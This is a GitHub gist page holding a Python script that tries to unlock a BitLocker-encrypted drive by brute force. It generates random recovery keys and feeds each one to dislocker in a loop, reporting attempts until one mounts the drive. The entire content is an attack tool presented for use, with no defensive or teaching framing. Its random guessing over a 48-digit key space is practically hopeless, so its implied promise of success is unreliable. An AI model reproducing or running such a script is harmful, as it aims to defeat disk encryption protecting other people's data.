Skip to content

Instantly share code, notes, and snippets.

@oscarolbe
Created May 23, 2024 15:28
Show Gist options
  • Save oscarolbe/2a3add5c9a4ed9c1d32cd14f5c0a9ff8 to your computer and use it in GitHub Desktop.
Save oscarolbe/2a3add5c9a4ed9c1d32cd14f5c0a9ff8 to your computer and use it in GitHub Desktop.
import os
import math
import subprocess
import sys
import argparse
import re
from math import *
from os import *
from subprocess import *
def GenRecKey():
Rec_Key = ""
for i in range(1, 56):
if i % 7 == 0:
Rec_Key += "-"
else:
Rec_Key += str(math.floor((os.urandom(1)[0] / 25.6)))
return Rec_Key
def mount_drive(drive_path, mount_point):
if not os.path.exists(mount_point):
os.makedirs(mount_point)
subprocess.run(['dislocker', '-V', drive_path, '-u', '--', mount_point], check=True)
try:
parser = argparse.ArgumentParser()
parser.add_argument("Drive_Path", help="The path of the drive to be brute-forced Example: /dev/sda2", type=str)
parser.add_argument("Mount_Point", help="The mount point where the unlocked drive will be mounted", type=str)
args = parser.parse_args()
drive_path = args.Drive_Path
mount_point = args.Mount_Point
if not os.path.exists(drive_path):
print(f"Drive path {drive_path} does not exist.")
exit()
ItemsX = ["░", "▒", "▓", "█", "▓", "▒"]
countr = 1
while True:
countr += 1
recovery_key = GenRecKey()
resultX = subprocess.run(
['dislocker', '-r', '-V', drive_path, '-p', recovery_key, '--', mount_point],
stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
output = resultX.stdout.decode('utf-8') + resultX.stderr.decode('utf-8')
if "Couldn't parse BitLocker metadata" in output:
print(f"Attempt {countr}: Incorrect key {recovery_key}. Trying next key...", end="\r")
elif "Failed to mount" in output:
print("Failed to mount the drive. Make sure the drive path and mount point are correct.")
break
elif "No such file or directory" in output:
print("Mount point does not exist.")
break
elif "Already unlocked" in output:
print("Drive is already unlocked!")
break
elif resultX.returncode == 0:
print(f"\nRecovery key {recovery_key} seems to have worked! Congratulations!")
break
perc = ItemsX[countr % len(ItemsX)]
print(str(countr) + " tries! " + "{}".format(perc), end="\r")
print("", end="\r")
except Exception as e:
print(f"An error occurred: {e}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment